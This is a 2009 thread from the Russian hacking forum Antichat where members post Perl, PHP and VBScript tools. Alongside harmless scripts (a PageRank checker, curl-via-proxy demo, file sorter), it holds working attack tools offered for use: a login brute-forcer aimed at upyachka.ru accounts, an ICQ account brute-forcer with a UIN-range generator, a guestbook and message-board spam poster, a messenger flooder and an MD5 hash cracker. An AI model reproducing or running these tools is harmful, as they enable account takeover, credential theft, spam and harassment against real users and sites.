HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 12.02.2009, 23:58
eLWAux
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568

Репутация: 2399


Отправить сообщение для eLWAux с помощью ICQ
По умолчанию

PR, тиЦ чекер на perl'e через сайт www.pr-cy.ru

pr-tic.pl сервер
сервер по умолчанию - google.com

PHP код:
#! /usr/bin/perl -eLwaux

use IO::Socket;
use 
warnings;

my $site $ARGV[0] || 'google.com';


$header  "POST http://www.pr-cy.ru/analysis/?url=".$site." HTTP/1.1\r\n".
       
"Host: pr-cy.ru\r\n".
       
"User-Agent: eL!\r\n".
       
"Content-Type: application/x-www-form-urlencoded\r\n".
       
"Connection: Close\r\n".
       
"Content-Length: 0\r\n\r\n".
       
"\r\n\r\n";

my $sock sock();
print 
$sock $header;

#my $answ = '';
#my $answer = '';
#while($answer = <$sock>){$answ .= $answer;}
read($sock,my $answ,100000);    


print 
cyr("\n ".$site."\n\n");

# заголовок
if (($answ)=~/<class="grey">Заголовок:<\/b>(.*)<br \/>/) {
    print 
cyr(' Заголовок: '.$1."\n"
    }
    
# ip
if (($answ)=~/<class="grey">IP:<\/b> (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\s+/) {
    print 
cyr(' IP: '."$1.$2.$3.$4"."\n")
    }
    

# тиЦ
if (($answ)=~/Яндекс тИЦ<\/td>[\s|\t]+<td width="25%" align="right" bgcolor="#eef2f5">(.*)<\/td>/) {
    print 
cyr(' тИЦ : '.$1."\n");
    }
    
# PR
if (($answ)=~/PageRank<\/td>[\s|\t|\n]+<td width="25%" align="right" bgcolor="#eef2f5">(.*)<\/td>/) {
    print 
cyr(' PageRank : '.$1."\n");
    }

<
stdin>;
exit;


close($sock);
<
stdin>;
            
            
#create new socket connection
sub sock {
    
my $sock;
    do {
        
$sock = new IO::Socket::INET 
            
(
                
PeerAddr => 'pr-cy.ru',
                   
PeerPort => 80
                   
PeerProto => 'tcp'
                   
TimeOut => 10
            
) or print "[-] connection error!";
        } while (!
$sock);
    return 
$sock;
}


sub cyr {
    
$phrase shift;
    
$phrase =~ y/А-яЁё/\x80-\xaf\xe0-\xf1/;
    return 
$phrase;
    }


#=============================================================================
#============================================================================= 
 
Ответить с цитированием

  #2  
Старый 13.02.2009, 00:04
eLWAux
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568

Репутация: 2399


Отправить сообщение для eLWAux с помощью ICQ
По умолчанию

месяц назад многие из "болталки" просили инвайт на upyachka.ru.
вот мой брутер

пароли в pass.txt кладем

perl:
PHP код:
#=============================================================================
#=============================================================================

use IO::Socket;

sub up{#num
$header  "POST http://upyachka.ru/".$i."/ HTTP/1.1\r\n".
       
"Host: upyachka.ru\r\n".
       
"User-Agent: upyachka\r\n".
       
"Content-Type: application/x-www-form-urlencoded\r\n".
       
"Connection: Close\r\n".
       
"Content-Length: 0\r\n\r\n".
       
"\r\n\r\n";

my $sock sock();
print 
$sock $header;

my $res '';
my $answer '';
while(
$answer = <$sock>){$res .= $answer;}

close($sock);
return 
$res;
}



sub login{#name,pass
my $post 'login='.$_[0].'&pass='.$_[1].'&submit=Йаррр!';
my $header  "POST http://upyachka.ru/".$i."/ HTTP/1.1\r\n".
       
"Host: upyachka.ru\r\n".
       
"User-Agent: upyachka\r\n".
       
"Content-Type: application/x-www-form-urlencoded\r\n".
       
"Connection: Close\r\n".
       
"Content-Length: ".length($post)."\r\n\r\n".
       
"$post\r\n\r\n";

my $sock sock();
print 
$sock $header;

my $res '';
my $answer '';
while(
$answer = <$sock>){$res .= $answer;}
if (
$res =~ /<input name=.logintype=.textvalue=..><br>/) {print '-'.cyr($_[0]).':'.cyr($_[1])."\n";} else
{print 
'+++++++'.cyr($_[0]).':'.cyr($_[1])."\n";}
close($sock);
return 
$res;
}



my @u;

for (
$i=1;$i<15;$i++){
print 
$i."...\n";
$res up($i);
while(
length($res)>1) {
    
$b 0;
    
    
$res =~ /<SPAN class=.user.logoutnoinfo=.true.>(\W+|\w+)<\/SPANнаписал/;
    
$res=substr($res,index($res,$1.'</SPAN> нап')+length($1.'</SPAN> нап'),length($res));

    foreach 
my $xx(@u) {if ($xx eq $1) {$b=1;} else {$b=0;}}
    @
u[scalar(@u)]=$if ($b==0);
}
}


print 
'getted: '.scalar(@u).' names..'."\n";
print 
"brute:\n";

##brute

 
open (FILE'<pass.txt');
 
my @pass shared = <FILE>;
 
chomp(@pass);
 
close(FILE);

foreach 
my $xx(@u) {
    foreach 
my $ps(@pass){    
        
login($xx,$ps);
        }
    
login($xx,$xx);
    }
    

    
    
<
stdin>;

#=============================================================================
#=============================================================================

     
#create new socket connection
sub sock {
    
my $sock;
    do {
        
$sock = new IO::Socket::INET 
            
(
                
PeerAddr => 'upyachka.ru',
                   
PeerPort => 80
                   
PeerProto => 'tcp'
                   
TimeOut => 10
            
) or print "[-] connection error!";
        } while (!
$sock);
    return 
$sock;
}


sub cyr
{
    
$phrase shift;
    
$phrase =~ y/А-яЁё/\x80-\xaf\xe0-\xf1/;
    return 
$phrase;
}

#=============================================================================
#============================================================================= 
 
Ответить с цитированием

  #3  
Старый 21.02.2009, 15:07
Zedi
Постоянный
Регистрация: 06.06.2007
Сообщений: 335
Провел на форуме:
1487377

Репутация: 392
Отправить сообщение для Zedi с помощью ICQ
По умолчанию

только что написал брут асек на пыхе, может кому пригодится
icqlib.php
PHP код:
<?
class ICQclient
{
    var 
$socket$server$port$connected;
    var 
$uin$password$logged;
    var 
$client = array(), $sequence$TLV = array();
    var 
$uin_sendto$message;

    function 
ICQclient($uin$password)
    {
        
$this->server "login.icq.com";
        
$this->port 5190;
        
$this->uin = (string )$uin;
        
$this->password $password;
        
$this->client = array("name" => "icqlib.php""country" => "ru""language" =>
            
"ru""major" => 1"minor" => 0"lesser" => 0"build" => 1);
    }

    function 
connect()
    {
        
$this->socket = @fsockopen($this->server$this->port);
        if (!
$this->socket)
            return 
false;
        else
        {
            
$this->connected true;
            return 
true;
        }
    }

    function 
connect_migration()
    {
        list(
$server$port) = explode(":"$this->TLV[0x05]);
        
$this->socket = @fsockopen($server$port);
    }

    function 
login()
    {
        if (!
$this->connected)
            
$this->connect();
        if (!
$this->connected)
            return 
false;
        
$this->receive_packet();
        
$this->sequence rand(0x00000xFFFF);
        
$this->send_packet("login");
        
$SNAC $this->receive_packet();
        
$this->parse_SNAC($SNAC);
        if (!(@
$this->TLV[0x05] and @$this->TLV[0x06]))
            return 
false;
        
$this->connect_migration();
        
$this->send_packet("cookie");
        
$this->receive_packet();
        
$this->send_packet("ready");
        
$this->receive_packet();
        
$this->logged true;
        return 
true;
    }

    function 
send_message($uin$message)
    {
        if (!
$this->logged)
            return 
false;
        
$this->uin_sendto $uin;
        
$this->message $message;
        
$this->send_packet("message");
        
$this->receive_packet();
        return 
true;
    }

    function 
getstatus($uin)
    {
        if (!
$this->logged)
            return 
false;
        
$this->uin_sendto $uin;
        
$this->send_packet("userinfo");
        
$SNAC $this->receive_packet();
        list(, 
$subfamily) = unpack("C"$SNAC[3]);
        if (
$subfamily == 6)
        {
            list(, 
$uin_length) = unpack("C"$SNAC[10]);
            
$this->parse_SNAC(substr($SNAC15 $uin_length));
            if (
$this->TLV[6])
                list(, 
$status_code) = unpack("C"$this->TLV[6][3]);
            else
                
$status_code 0xFF;
            switch (
$status_code)
            {
                case 
0x00:
                    
$status "online";
                    break;
                case 
0x01:
                    
$status "away";
                    break;
                case 
0x02:
                    
$status "dnd";
                    break;
                case 
0x03:
                    
$status "dnd";
                    break;
                case 
0x04:
                    
$status "na";
                    break;
                case 
0x05:
                    
$status "na";
                    break;
                case 
0x10:
                    
$status "occupied";
                    break;
                case 
0x11:
                    
$status "occupied";
                    break;
                case 
0x13:
                    
$status "dnd";
                    break;
                case 
0x20:
                    
$status "free4chat";
                    break;
                default:
                    
$status "undefined";
                    break;
            }
        } else
            
$status "offline";
        return 
$status;
    }

    function 
disconnect()
    {
        
$this->connected $this->logged false;
        return @
fclose($this->socket);
    }

    function 
log_packet($packet$type "packet")
    {
        global 
$debug_log;
        
$debug_log .= "<p>$type:<br>";
        for (
$i 0$i strlen($packet); $i++)
        {
            if (
strlen(strtoupper(dechex(ord($packet[$i])))) == 1)
                
$debug_log .= "0";
            
$debug_log .= strtoupper(dechex(ord($packet[$i]))) . " ";
        }
        
$debug_log .= "</p>";
    }

    function 
send_packet($type)
    {
        global 
$debug;
        list(
$channel$SNAC) = $this->gen_SNAC($type);
        
$FLAP pack("CCnn"0x2A$channel$this->sequencestrlen($SNAC));
        
$packet $FLAP $SNAC;
        if (
$debug)
            
$this->log_packet($packet"send");
        @
fwrite($this->socket$packet);
        
$this->sequence++;
        if (
$this->sequence == 0xFFFF)
            
$this->sequence 0x0000;
    }

    function 
receive_packet()
    {
        global 
$debug;
        
$FLAP = @fread($this->socket6);
        list(, 
$length) = @unpack("n"substr($FLAP42));
        
$SNAC = @fread($this->socket$length);
        
$packet $FLAP $SNAC;
        if (
$debug)
            
$this->log_packet($packet"receive");
        return 
$SNAC;
    }

    function 
gen_SNAC($type)
    {
        if (
$type == "login")
        {
            
$SNAC pack("N"1) . $this->gen_TLV(0x01$this->uin) . $this->gen_TLV(0x02,
                
xor_encrypt($this->password)) . $this->gen_TLV(0x03$this->client["name"]) . $this->
                
gen_TLV(0x162662) . $this->gen_TLV(0x17$this->client["major"], 2) . $this->
                
gen_TLV(0x18$this->client["minor"], 2) . $this->gen_TLV(0x19$this->client["lesser"],
                
2) . $this->gen_TLV(0x1A$this->client["build"], 2) . $this->gen_TLV(0x1485,
                
4) . $this->gen_TLV(0x0F$this->client["language"]) . $this->gen_TLV(0x0E$this->
                
client["country"]);
            
$channel 1;
        }
        if (
$type == "cookie")
        {
            
$SNAC pack("N"1) . $this->gen_TLV(0x06$this->TLV[0x06]);
            
$channel 1;
        }
        if (
$type == "ready")
        { 
// SNAC(01,02) - CLI_READY
            
$SNAC "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x01\x10" "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x00\x01\x01\x10" .
                
"\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10" "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10" .
                
"\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
            
$channel 2;
        }
        if (
$type == "message")
        { 
// SNAC(04,06) channel 1 - CLI_SEND_ICBM_CH1
            
$this->TLV[0x0501] = pack("C"1);
            
$this->TLV[0x0101] = pack("N"0) . $this->message;
            
$this->TLV[0x02] = $this->gen_TLV(0x0501$this->TLV[0x0501]) . $this->gen_TLV(0x0101,
                
$this->TLV[0x0101]);
            
$SNAC pack("nnnNdnca*"0x040x0600microtime(), 1strlen($this->
                
uin_sendto), $this->uin_sendto) . $this->gen_TLV(0x02$this->TLV[0x02]) . $this->
                
gen_TLV(0x06"");
            
$channel 2;
        }
        if (
$type == "userinfo")
        { 
// SNAC(02,05) - CLI_LOCATION_INFO_REQ
            
$SNAC pack("nnnNnca*"0x020x05001strlen($this->uin_sendto), $this->
                
uin_sendto);
            
$channel 2;
        }
        return array(
$channel$SNAC);
    }

    function 
parse_SNAC($SNAC)
    {
        unset(
$this->TLV);
        while (
strlen($SNAC) > 0)
        {
            list(, 
$type$length) = unpack("n2"substr($SNAC04));
            
$this->TLV[$type] = substr($SNAC4$length);
            
$SNAC substr($SNAC$length);
        }
    }

    function 
gen_TLV($type$value$length false)
    {
        switch (
$length)
        {
            case 
1:
                
$format "C";
                break; 
// unsigned char (8 bit)
            
case 2:
                
$format "n";
                break; 
// unsigned short (16 bit, big endian byte order)
            
case 4:
                
$format "N";
                break; 
// unsigned long (32 bit, big endian byte order)
            
default:
                
$format "a*";
                break; 
// NUL-padded string
        
}
        if (
$length === false)
            
$length strlen($value);
        return 
pack("nn" $format$type$length$value);
    }
}

function 
xor_encrypt($password)
{
    
$roast "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x53\x7a\x95\x7c";
    
$xored "";
    for (
$i 0$i strlen($password); $i++)
        
$xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
    return 
$xored;
}

function 
put($data$file)
{
    global 
$go;
    
$f fopen($file"a") or die("File " $file " doesn't exist");
    
fwrite($f$data);
    
fclose($f);
    
$go++;
}
?>
brute.php
PHP код:
<?php
set_time_limit
(0);
ignore_user_abort(1);

require_once (
"icqlib.php");

$source "source.txt";
$good "good.txt";
$stat "stat.txt";
$bad "bad.txt";

$file_s file($source);
$count count($file_s);
$total $go $guins $pps $buins 0;
foreach (
$file_s as $str)
{
    list(
$uin$password) = explode(";"$str);
    
$uin trim($uin);
    
$password trim($password);
    
$mtime microtime();
    
$mtime explode(" "$mtime);
    
$mtime $mtime[1] + $mtime[0];
    
$tstart $mtime;
    
$debug false;
    
$icq = new ICQclient($uin$password);
    
$icq->connect();
    if (
$icq->connected)
    {
        
$icq->login();
        if (
$icq->logged)
        {
            
$put put($str$good);
            
$guins++;
        } else
        {
            
$put put($str$bad);
            
$buins++;
        }
    }
    
$mtime microtime();
    
$mtime explode(" "$mtime);
    
$mtime $mtime[1] + $mtime[0];
    
$tend $mtime;
    
$total $total + ($tend $tstart);
}
if (
$go != 0)
{
    
$pps / ($total $go);
}
$pps round($pps3);
$stats "
++++++++++++++++++++++++++++++++
+== ICQ BRUTE BY ZEDI        ==+
+==============================+
+ Попыток сделано: " 
$go "           +
+ из них:                      +
+ удачных: " 
$guins "                   +
+ неудачных: " 
$buins "                 +
+==============================+
+ Ср. скорость: " 
$pps "PPS           +
++++++++++++++++++++++++++++++++
"
;
$put put($stats$stat);
?>
и файлы нужно создать source.txt bad.txt good.txt stat.txt


или можно все скачать сразу _http://slil.ru/26941253

Последний раз редактировалось Zedi; 21.02.2009 в 15:22..
 
Ответить с цитированием

  #4  
Старый 21.02.2009, 21:31
Zedi
Постоянный
Регистрация: 06.06.2007
Сообщений: 335
Провел на форуме:
1487377

Репутация: 392
Отправить сообщение для Zedi с помощью ICQ
По умолчанию

когда то писал спамер гостевых книг, досок объявлений и пр.
скрипт спамит доски без капч и одного ввида
им можно не только спаминь но и региться на нескольких сайтах одновремнно и т.п. но без капч конечно

как пользоваться:
вводим список url'ов к гестбукам
вводим данные для постинга в виде name=name и т.п.(как в пост запросе)
вводим текст который появлюется при успешной отправке сообщения (для того чтобы знать сколько наспамил)
для установки set_time_limit и ignore_user_abort выбираем да

P.S. писал давно, могут быть ошибки, скажите исправлю, ну и ваши предложения по скрипту))

PHP код:
<?php
error_reporting 
E_ALL );
echo 
'<html>
      <head>
        <title>Submiter by Zedi</title>
        <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
        <style type="text/css">
        a:link        {color: #9a9a9a; text-decoration: none;}
        a:active        {color: #9a9a9a; text-decoration: none;}
        a:visited        {color: #9a9a9a; text-decoration: none;}
        a:hover        {color: #000000; text-decoration: none;}

        input, textarea, select
        {
          background-color: #ffffff;
          border:#000000 1pt solid;
          color: #000000;
          font-size: 9px;
          margin: 0px;
          padding-bottom: 1px;
          padding-left: 2px;
          padding-right: 0px;
          padding-top: 0px;
          font-family: Verdana, arial, Helvetica;
          line-height: 9pt;
        }
        
        body, table
        {
          font-family: Verdana, arial, Helvetica;
          color: #000000;
          font-size: 11px;
        }
       </style>
      </head>
      <body bgcolor="#f0f0f0">'
;
if (isset ( 
$_POST ['submiter'] )) {
    foreach (
$_POST as $post_date_key=>$post_date) {
        if(
$post_date_key != "ok_mess"){
        if(empty(
$post_date)) {
            die(
"Вы не заполнили поля");
        }
        }
    }
    
$list $_POST['list'];
$data $_POST['data'];
$ok_mess $_POST['ok_mess'];
if(
$_POST['set'] == 1) {
    
set_time_limit(0);
    
ignore_user_abort(1);
}
$urls explode("\n",$list);
foreach (
$urls as $Host) {    
    
$url_array parse_url($Host);
    
$Url $url_array["host"];
    
$Path $url_array["path"];
    if(isset(
$url_array["port"])) {
        
$Port $url_array["port"];
    }
    else {
        
$Port 80;
    }
    
$errno $errstr 0;
    
$f fsockopen($Url,$Port,$errno,$errstr,10);
    if(!
$f){
        echo 
$errno.':'.$errstr;
        continue;
    }
    
$header "POST $Path HTTP/1.1\r\n";
    
$header .= "Host: $Url\r\n";
    
$header .= "User_agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9) Gecko/2008052906 Firefox/3.0\r\n";
    
$header .= "Content-type: application/x-www-form-urlencoded\r\n";
    
$header .= "Connection: Close\r\n";
    
$header .= "Referer: $Host\r\n";
    
$header .= "Content-length:".strlen($data)."\r\n\r\n".$data;
    
stream_set_timeout($f,10);
    
    
fputs($f,$header);
    
    if(
strlen($ok_mess)){
        
$page "";
        while(!
feof($f)) {
            
$page .= fgets($f,128);
        }
        if(
strpos($page,$ok_mess)) {
            echo 
$Url.$Port."<font color='green'>OK</font> <br>";
        }
        else {
            echo 
$Url.$Port."<font color='red'>Fail</font> <br>";
        }
    }
    else {
        if(
$errno == 0){
            echo 
$Url.$Port."<font color='green'>OK </font><br>";
        }
        else {
            echo 
$Url.$Port."<font color='red'>Fail</font> <br>";
        }
    }
    
fclose($f);
    
}

} else {
echo 
"<form method='POST' name='submit'><table border=0>
<tr><td width='150'>Введите список для спама</td><td><textarea rows='3' cols='17' name='list'></textarea></td></tr>
<tr><td width='150'>Введите данные</td><td><input type='text' name='data' size='20'></td></tr>
<tr><td width='150'>Текст об успешной отправке</td><td><input name='ok_mess' type='text' size='20'></td></tr>
<tr><td width='150'>Установить STL и IUB</td><td><select name='set'><option value='1' selected='selected'>Да</option><option value='0'>Нет</option></select></td></tr>
<tr><td width='150'>Начать спам</td><td><input type='submit' name='submiter' value='Пуск'> </td></tr>
</table></form>"
;
}
echo 
"Разработка:Zedi</body></html>";
?>

Последний раз редактировалось Zedi; 21.02.2009 в 21:44..
 
Ответить с цитированием

CURL + PROXY
  #5  
Старый 22.02.2009, 00:04
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию CURL + PROXY

Маленькая демонстрация того, как можно использовать curl с proxy (вроде не было еще):

PHP код:
<?php

function get($url,$proxy) { 
        
        
$ch curl_init();   
        
curl_setopt($chCURLOPT_URL,$url); 
        
curl_setopt($chCURLOPT_RETURNTRANSFER,1); 
        
curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208'); 
        
curl_setopt($chCURLOPT_PROXY"$proxy"); 
        
$ss=curl_exec($ch); 
        
curl_close($ch); 
        return 
$ss




      
$prox '201.227.66.18:3128';
      
$a=get('http://2ip.ru/',$prox); 
      echo 
$a;

?>
 
Ответить с цитированием

  #6  
Старый 22.02.2009, 12:43
Zedi
Постоянный
Регистрация: 06.06.2007
Сообщений: 335
Провел на форуме:
1487377

Репутация: 392
Отправить сообщение для Zedi с помощью ICQ
По умолчанию

генератор по диапазонам ввида uin;pass, подойдет для моего брута который выше, удобно тем у кого инет медленный и на хост чтоб файл не заливать большой, генерирует по диапазону на один пароль
PHP код:
<?php
set_time_limit
(0);
ignore_user_abort(1);
echo 
'<html> <head><title>Генератор</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><style type="text/css"> a:link        {color: #9a9a9a; text-decoration: none;} a:active        {color: #9a9a9a; text-decoration: none;} a:visited        {color: #9a9a9a; text-decoration: none;} a:hover        {color: #000000; text-decoration: none;}input, textarea, select{background-color: #ffffff;border:#000000 1pt solid;color: #000000;font-size: 9px;margin: 0px;padding-bottom: 1px;padding-left: 2px;padding-right: 0px;padding-top: 0px;font-family: Verdana, arial, Helvetica;line-height: 9pt;}body, table{font-family: Verdana, arial, Helvetica; color: #000000;font-size: 11px;}</style></head><body bgcolor="#f0f0f0">';
if (isset(
$_POST['submit']))
{
    foreach (
$_POST as $post_date_key => $post_date)
    {
        if (empty(
$post_date))
        {
            die(
"Вы не заполнили поля");
        }
    }
    
$from $_POST['from'];
    
$to $_POST['to'];
    
$pass $_POST['pass'];
    
$file $_POST['file'];

    
$f fopen($file"w");
    for (
$from$from $to$from++)
    {
        
$data $from.";".$pass."\r\n";
        
fwrite($f$data);
    }

    
fclose($f);
    echo 
"OK"."<br>";
} else
{
    echo 
"<form method='POST' name='submit'><table border=0>
<tr><td width='150'>Диапазон с</td><td><input type='text' name='from' size='20'></td></tr>
<tr><td width='150'>по</td><td><input type='text' name='to' size='20'></td></tr>
<tr><td width='150'>Пароль</td><td><input type='text' name='pass' size='20'></td></tr>
<tr><td width='150'>Сохранить в файл</td><td><input name='file' type='text' value='source.txt' size='20'></td></tr>
<tr><td width='150'>Генерировать</td><td><input type='submit' name='submit' value='Пуск'> </td></tr>
</table></form>"
;
}
echo 
"Разработка:Zedi v.0.1</body></html><noscript>";

?>
 
Ответить с цитированием

  #7  
Старый 22.02.2009, 20:08
heretic1990
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме:
3728999

Репутация: 444
По умолчанию

незнаю, может не туда запостил, но скрипт полезный

Флудер мейл агента.
Допустим в магенте есть контакт "петя". Открываем окно контакта.

пишем в блокноте:

Код:

Код:
set wshell=createObject("wscript.shell") 
FOR i=1 to 40               ' цикл , сколько сообщений отслать(40 шт)
wshell.appactivate("петя")  ' активировать окно с заголовком "петя" 
WSCRIPT.SLEEP(30)           ' пауза чтобы окно полностью вышло на передний план
wshell.sendkeys ("флуд флуд")  ' послать строку
wshell.sendkeys ("^{enter}")'Ctrl+Enter (отправляем сообщение)
wscript.sleep(6)        'пауза
next
msgbox ("Готово")
сохранить как *.vbs.

При ативации окна учитывается регистр.("петя" не тоже самое что "Петя")
Теперь, не закрывая и не сворачивая окна контакта, запустить скрипт.

п.с. можно и не только магент флудить))
 
Ответить с цитированием

  #8  
Старый 28.02.2009, 10:48
g-warning
Участник форума
Регистрация: 28.12.2007
Сообщений: 103
Провел на форуме:
671441

Репутация: 50
Arrow

del

Последний раз редактировалось g-warning; 28.02.2009 в 10:57..
 
Ответить с цитированием

  #9  
Старый 01.03.2009, 15:17
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134

Репутация: 519


Отправить сообщение для -m0rgan- с помощью ICQ
По умолчанию

Перловый крякер md5.
Код:
#!/usr/bin/perl
$ver = "01";
$dbgtmr = "1"; #Intervall of showing the current speed + lastpassword in seconds.

if ($dbgtmr<=0){ die "Set dbgtmr to a value >=1 !\n";};
use Digest::MD5 qw(md5_hex);
use Time::HiRes qw(gettimeofday);

if ($ARGV[0]=~"a") {
 $alpha = "abcdefghijklmnopqrstuvwxyz";}
if ($ARGV[0]=~"A") {
 $alpha = $alpha. "ABCDEFGHIJKLMNOPQRSTUVWXYZ";}
if ($ARGV[0]=~"d") {
 $alpha = $alpha."1234567890";}
if ($ARGV[0]=~"x") {
 $alpha = $alpha. "!\"\$%&/()=?-.:\\*'-_:.;,";}

if ($alpha eq "" or $ARGV[3] eq "") {usage();};
if (length($ARGV[3]) != 32) { die "Sorry but it seems that the MD5 is not valid!\n";};

print "Selected charset for attack: '$alpha\'\n";
print "Going to Crack '$ARGV[3]'...\n";

for (my $t=$ARGV[1];$t<=$ARGV[2];$t++){
 crack ($t);
}

sub usage{
 print "\n\nMD5 Hash Bruteforce Kit v_$ver\n";
 print "by unix_chro alias backtrack (311733@yahoo.com)\n";
 print "Member in staff leader:elite-members,ubuntu-hackers\n\n";
 print "USAGE\n";
 print "./md5crack <charset> <mincount> <maxcount> <yourMD5>\n";
 print " Charset can be: [aAdx]\n";
 print " a = {'a','b','c',...}\n";
 print " A = {'A','B','C',...}\n";
 print " d = {'1','2','3',...}\n";
 print " x = {'!','\"',' ',...}\n";
 print "EXAMPLE FOR CRACKING A MD5 HASH\n";
 print "./md5crack.pl ad 1 3 900150983cd24fb0d6963f7d28e17f72\n";
 print " This example tries to crack the given MD5 with all lowercase Alphas and all digits.\n";
 print " MD5 Kit only tries combinations with a length from 1 and 3 characters.\n-------\n";
 print "./md5crack.pl aA 3 3 900150983cd24fb0d6963f7d28e17f72\n";
 print " This example tries to crack the given MD5 with all lowercase Alphas and all uppercase Alphas.\n";
 print " MD5 Kit only tries passwords which length is exactly 3 characters.\n-------\n";
 print "./md5crack.pl aAdx 1 10 900150983cd24fb0d6963f7d28e17f72\n";
 print " This example tries to crack the given MD5 with nearly every character.\n";
 print " MD5 Kit only tries combinations with a length from 1 to 10 characters.\n";
 die "Quitting...\n";
}

sub crack{
 $CharSet = shift;
 @RawString = ();
 for (my $i =0;$i<$CharSet;$i++){ $RawString[i] = 0;}
 $Start = gettimeofday();
 do{
  for (my $i =0;$i<$CharSet;$i++){
   if ($RawString[$i] > length($alpha)-1){
    if ($i==$CharSet-1){
    print "Bruteforcing done with $CharSet Chars. No Results.\n";
    $cnt=0;
    return false;
   }
   $RawString[$i+1]++;
   $RawString[$i]=0;
   }
  }
###################################################
   $ret = "";
   for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);}
   $hash = md5_hex($ret);
   $cnt++;
   $Stop = gettimeofday();
   if ($Stop-$Start>$dbgtmr){
    $cnt = int($cnt/$dbgtmr);
    print "$cnt hashes\\second.\tLast Pass '$ret\'\n";
    $cnt=0;
    $Start = gettimeofday();
   }
            print "$ARGV[3] != $hash ($ret)\n";
   if ($ARGV[3] eq $hash){
    die "\n**** Password Cracked! => $ret\n";
   }
###################################################
  #checkhash($CharSet)."\n";

  $RawString[0]++;
 }while($RawString[$CharSet-1]<length($alpha));
}

sub checkhash{
 $CharSet = shift;
 $ret = "";
 for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);}
 $hash = md5_hex($ret);
 $cnt++;
 $Stop = gettimeofday();
 if ($Stop-$Start>$dbgtmr){
  $cnt = int($cnt/$dbgtmr);
  print "$cnt hashes\\second.\tLast Pass '$ret\'\n";
  $cnt=0;
  $Start = gettimeofday();
 }

 if ($ARGV[3] eq $hash){
  die "\n**** Password Cracked! => $ret\n";
 }
 
}
Нашол на поломаном забугорном хак портале...

Последний раз редактировалось -m0rgan-; 01.03.2009 в 15:19..
 
Ответить с цитированием

  #10  
Старый 23.02.2009, 00:09
Sharky
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739

Репутация: 921


Отправить сообщение для Sharky с помощью ICQ
По умолчанию

сегодня понадобилось отсортировать файл с мылами ... вот собственно результат
подходит не только для мыл, но и для сортировки любых текстовых данных в файле
PHP код:
#!/usr/bin/perl

use sort "stable";

$emails 'mails.txt';
$sorted 'sorted.txt';

my @acc shared;

openACS"<$emails);
@
acc acc();

@
sort @acc;
while (@
c) {
    { 
lock(@c); $c shift @c; }

    
openFILE">>$sorted);
    print 
FILE "$c\n";
    
close(FILE);
    { 
lock($i); $i++; }
}

sub acc {
    
my (@mas);
    while (<
ACS>) {
        
push @mas$_;
    }
    
chomp @mas;
    return @
mas;

 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ